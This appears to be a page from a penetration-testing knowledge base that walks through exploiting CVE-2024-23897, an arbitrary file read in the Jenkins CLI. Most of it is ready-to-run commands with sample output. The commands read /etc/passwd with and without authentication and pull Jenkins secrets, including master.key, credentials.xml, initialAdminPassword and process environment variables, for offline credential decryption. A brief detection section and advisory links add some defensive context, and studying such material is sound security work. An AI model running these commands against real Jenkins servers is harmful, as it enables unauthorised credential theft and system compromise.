# Jenkins Arbitrary File Read (CVE-2024-23897)

> Exploits CVE-2024-23897 in Jenkins CLI to read arbitrary files via argument interpolation, enabling credential theft and potential RCE.

- **URL:** https://hackindex.io/services/jenkins/exploitation/jenkins-arbitrary-file-read-cve-2024-23897
- **Path:** Jenkins > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/jenkins/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

CVE-2024-23897 is an arbitrary file read in the Jenkins CLI. The CLI uses the args4j library to parse command arguments, and args4j expands `@filename` arguments by replacing them with the contents of the named file. This happens before authentication, allowing unauthenticated attackers to read files from the Jenkins server filesystem. Affects Jenkins versions before 2.442 and LTS versions before 2.426.3.

## Prerequisites

The Jenkins CLI endpoint must be enabled (default: enabled). Download the CLI JAR from the target server.

**Download the CLI client**

```bash
wget http://$TARGET_IP:$PORT/jnlpJars/jenkins-cli.jar
```

## File Read (First Line)

Without authentication, the `@` expansion in error messages leaks the first line of the referenced file. The `who-am-i` command is commonly used because it produces a predictable error that includes the expanded argument.

**Read first line of /etc/passwd**

```bash
java -jar jenkins-cli.jar -s http://$TARGET_IP:$PORT/ who-am-i @/etc/passwd
# ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
```

## Full File Read (Authenticated)

With valid credentials (even low-privileged), some CLI commands read the entire file, not just the first line. The `connect-node` and `reload-job` commands accept multi-line arguments.

**Full file read with authentication**

```bash
java -jar jenkins-cli.jar -s http://$TARGET_IP:$PORT/ -auth $USER:$PASSWORD connect-node @/etc/passwd
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# bin:x:2:2:bin:/bin:/usr/sbin/nologin
# ...
```

## High-Value Targets

Use the file read to extract Jenkins secrets for offline credential decryption.

**Read master.key for credential decryption**

```bash
java -jar jenkins-cli.jar -s http://$TARGET_IP:$PORT/ who-am-i @/var/lib/jenkins/secrets/master.key
```

Other files worth reading:

- `/var/lib/jenkins/secrets/initialAdminPassword`: initial admin password (single line, works unauthenticated).
- `/var/lib/jenkins/credentials.xml`: encrypted credentials (needs full file read).
- `/var/lib/jenkins/config.xml`: global configuration including security realm settings.
- `/proc/self/environ`: environment variables of the Jenkins process.

After extracting `master.key`, `hudson.util.Secret`, and `credentials.xml`, decrypt stored secrets using the workflow in [Jenkins credential extraction](https://hackindex.io/services/jenkins/exploitation/jenkins-credential-extraction).

## Binary File Read

`hudson.util.Secret` is a binary file. The args4j expansion may corrupt binary data. Use base64 encoding by reading through `/proc/self/fd` or use the authenticated Groovy console if available. For binary files, the Groovy console file read approach is more reliable.

## Detection

Exploiting this CVE generates errors in the Jenkins log. Each attempt creates a CLI connection event and an error for the invalid argument. Monitor the Jenkins access log for repeated CLI connections from external IPs.

## References

- [Jenkins Security Advisory 2024-01-24](https://www.jenkins.io/security/advisory/2024-01-24/) - Official advisory for CVE-2024-23897 with affected versions and fix.
- [h4x0r-dz/CVE-2024-23897](https://github.com/h4x0r-dz/CVE-2024-23897) - PoC exploit script with file read automation.
- [ProjectDiscovery: CVE-2024-23897 Analysis](https://blog.projectdiscovery.io/jenkins-arbitrary-file-read-vulnerability-cve-2024-23897/) - Technical deep dive into the args4j expansion mechanism.